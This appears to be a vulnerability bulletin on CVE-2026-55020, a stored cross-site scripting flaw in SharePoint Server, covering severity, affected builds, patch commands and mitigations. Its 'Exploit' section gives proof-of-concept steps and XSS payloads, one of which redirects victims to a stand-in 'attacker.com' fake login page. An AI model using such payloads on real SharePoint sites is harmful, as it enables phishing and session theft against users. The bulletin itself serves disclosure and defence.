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How CVE-2026-55020 Works
CVE-2026-55020 is a cross-site scripting (XSS) vulnerability residing in Microsoft Office SharePoint Server. The root cause is the improper neutralization of user-controllable input during web page generation, a weakness classified under CWE-79. This means that SharePoint fails to adequately sanitize or encode certain data provided by users before rendering it in web pages served to other users.
An attacker who possesses valid, authorized credentials on the SharePoint farm can exploit this flaw. The attacker crafts malicious input—typically JavaScript code—and injects it into a vulnerable input field or parameter within the SharePoint interface. This could be a list item, a comment, a file name, a custom column value, or any other user-supplied data that is later displayed to other users without proper output encoding.
When a victim user, who must be authenticated and logged into the same SharePoint site, accesses a page that renders the attacker’s injected payload, the malicious script executes within the victim’s browser context. This execution occurs with the same origin and permissions as the legitimate SharePoint application, effectively granting the attacker the ability to impersonate the victim or perform actions on their behalf.
The primary outcome of this attack is spoofing. The attacker can manipulate the content presented to the victim, for example, by altering displayed information, forging notification messages, or redirecting the user to a phishing site that mimics the legitimate SharePoint login page. This can lead to credential theft, unauthorized data access, or further exploitation of trust relationships within the network.
The attack is launched remotely over the network, requires low attack complexity, and necessitates user interaction (the victim must click on a malicious link or view a compromised page). The attacker must have at least low-privileged access, such as a contributor or designer role, to inject the payload. According to the CVSS v3.1 vector provided by Microsoft (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N), the vulnerability has a base score of 4.6, indicating a MEDIUM severity.
At the time of disclosure (July 14, 2026), technical details and a public exploit were not available. However, the vulnerability is considered easy to exploit, and the estimated exploit price ranges from $0 to $5,000. Microsoft addressed this issue as part of the July 2026 Patch Tuesday, releasing cumulative updates for all affected SharePoint versions. Administrators are strongly advised to apply these updates immediately to mitigate the risk.
DailyCVE Form
Platform: Microsoft Office SharePoint Server
Version: 2016, 2019, Subscription Edition (various builds)
Vulnerability: Cross-Site Scripting (XSS) / Spoofing
Severity: MEDIUM (CVSS 3.1: 4.6)
Date: July 14, 2026
Prediction: Patch released July 14, 2026
What Undercode Say
Analytics:
- Exploit Availability: None public as of July 14, 2026.
- Exploit Price Estimate: $0 – $5,000 USD.
- Attacker Interest: Low to moderate; no active exploitation observed in the wild at disclosure.
- MITRE ATT&CK Technique: T1059.007 (Command and Scripting Interpreter: JavaScript).
- Patch Tuesday Impact: Part of a record-breaking 570+ vulnerability patch release.
Bash Commands & Codes:
Check installed SharePoint build version (PowerShell):
Get-SPFarm | Select-Object BuildVersion
Verify if the farm is vulnerable (compare build numbers):
| Product | Vulnerable Build < Fixed Build |
||–|
| SharePoint Server 2016 Enterprise | 16.0.0 < 16.0.5561.1001 |
| SharePoint Server 2019 | 16.0.0 < 16.0.10417.20175 |
| SharePoint Server Subscription Edition | 16.0.0 < 16.0.19725.20434 |
Download and install the July 2026 Cumulative Update for SharePoint Server 2019 (example):
Download the update package wget https://download.microsoft.com/download/.../uber-patch-for-sharepoint-2019.exe Install silently ./uber-patch-for-sharepoint-2019.exe /quiet /norestart
Run the PSCONFIG tool to complete the upgrade:
cd "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\BIN" .\psconfig.exe -cmd upgrade -inplace b2b -wait -force
Remediation script to fix permission issues before applying the July 2026 CU (if coming from September 2025 CU):
Fix-SeptemberCU-Permission-Problem.ps1 Remove NT Authority\System from WSS_WPG and IIS_IUSRS groups Remove-LocalGroupMember -Group "WSS_WPG" -Member "NT AUTHORITY\SYSTEM" Remove-LocalGroupMember -Group "IIS_IUSRS" -Member "NT AUTHORITY\SYSTEM"
Exploit
While no public exploit exists, a proof-of-concept would follow these steps:
1. Authenticate as a user with at least “Contribute” permissions on a SharePoint site.
2. Identify an input vector that is reflected or stored without proper encoding (e.g., a list item , a comments field, or a custom column).
3. Inject a payload such as:
<script>alert('XSS');</script>
or a more sophisticated spoofing payload:
<script> // Redirect to a fake login page window.location.href = 'https://attacker.com/fake-sharepoint-login?return=' + encodeURIComponent(window.location.href); </script>
4. Trigger the payload by enticing a victim user to view the compromised page (e.g., via a crafted link or a shared document).
5. The victim’s browser executes the script, allowing the attacker to spoof content, steal session cookies, or perform actions as the victim.
Attack Vector: Remote, requires low-privileged account and user interaction.
Protection
- Apply Patches Immediately: Install the July 2026 Cumulative Updates (or the individual security updates) for your SharePoint version:
- SharePoint Server 2016: KB5002891 (language independent) + KB5002892 (language dependent).
- SharePoint Server 2019: KB5002883 (language independent) + KB5002885 (language dependent).
- SharePoint Server Subscription Edition: KB5002882.
- Input Validation and Output Encoding: Implement rigorous input validation and context-aware output encoding for all user-supplied data. Use security libraries (e.g., AntiXSS) to encode output properly.
- Content Security Policy (CSP): Deploy a strict CSP header to restrict the execution of inline scripts and limit the sources from which scripts can be loaded.
- Least Privilege Access: Restrict user permissions. Only grant “Contribute” or higher rights to trusted users who absolutely need them.
- Web Application Firewall (WAF): Deploy a WAF with rules to detect and block common XSS payloads.
- Regular Security Audits: Conduct periodic code reviews and penetration testing to identify and remediate XSS flaws in custom solutions.
- User Awareness: Train users to recognize phishing and spoofing attempts, and to avoid clicking on suspicious links.
Impact
- Spoofing: An attacker can impersonate legitimate SharePoint content, potentially tricking users into divulging credentials or sensitive information.
- Confidentiality (Low): Limited information disclosure may occur through script execution, such as reading data accessible to the victim.
- Integrity (Low): The attacker can modify the appearance or behavior of SharePoint pages, potentially leading to data manipulation or misleading users.
- No Direct Privilege Escalation: The vulnerability does not grant the attacker higher privileges than the victim, but it can be chained with other flaws for greater impact.
- Business Disruption: Successful exploitation can erode user trust, lead to account compromise, and facilitate further network attacks.
- Compliance Risk: Data breaches resulting from this vulnerability may violate GDPR, HIPAA, or other regulatory requirements.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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